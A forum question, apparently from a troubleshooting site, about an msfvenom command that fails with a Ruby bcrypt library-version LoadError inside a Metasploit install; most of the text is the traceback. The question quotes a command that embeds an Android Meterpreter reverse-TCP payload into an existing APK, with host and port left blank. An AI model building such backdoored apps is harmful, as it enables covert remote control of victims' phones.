Problem with msfvenom command

Question

I came across this problem while typing the command

msfvenom -x "file.apk" -p android/meterpreter/reverse_tcp LHOST ="" LPORT ="" -o "newfile.apk""

Does anyone know something about that?
I get the following error:

Traceback (most recent call last): 21: from /usr/local/bin/msfvenom:441:in <main>' 20: from /usr/local/bin/msfvenom:55:inframework' 19: from /usr/local/bin/msfvenom:36:in init_framework' 18: from /usr/local/bin/msfvenom:18:inrequire_deps' 17: from /usr/lib/ruby/2.5.0/rubygems/core_ext/kernel_require.rb:59:in require' 16: from /usr/lib/ruby/2.5.0/rubygems/core_ext/kernel_require.rb:59:in require' 15: from /opt/metasploit-framework/lib/msfenv.rb:18:in <top (required)>' 14: from /opt/metasploit-framework/lib/msfenv.rb:18:inrequire' 13: from /opt/metasploit-framework/config/environment.rb:2:in <top (required)>' 12: from /opt/metasploit-framework/config/environment.rb:2:inrequire' 11: from /opt/metasploit-framework/config/application.rb:10:in <top (required)>' 10: from /home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bundler-1.17.1/lib/bundler.rb:114:in require' 9: from /home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bundler-1.17.1/lib/bundler/runtime.rb:65:in require' 8: from /home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bundler-1.17.1/lib/bundler/runtime.rb:65:in each' 7: from /home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bundler-1.17.1/lib/bundler/runtime.rb:72:in block in require' 6: from /home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bundler-1.17.1/lib/bundler/runtime.rb:95:in rescue in block in require' 5: from /home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bundler-1.17.1/lib/bundler/runtime.rb:95:in require' 4: from /opt/metasploit-framework/lib/metasploit/framework.rb:9:in' 3: from /opt/metasploit-framework/lib/metasploit/framework.rb:9:in require'
2: from /home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bcrypt-3.1.12/lib/bcrypt.rb:12:in ' 1: from /home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bcrypt-3.1.12/lib/bcrypt.rb:16:in rescue in <top (required)>' /home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bcrypt-3.1.12/lib/bcrypt.rb:16:in require': incompatible library version - /home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bcrypt-3.1.12/lib/bcrypt_ext.so (LoadError)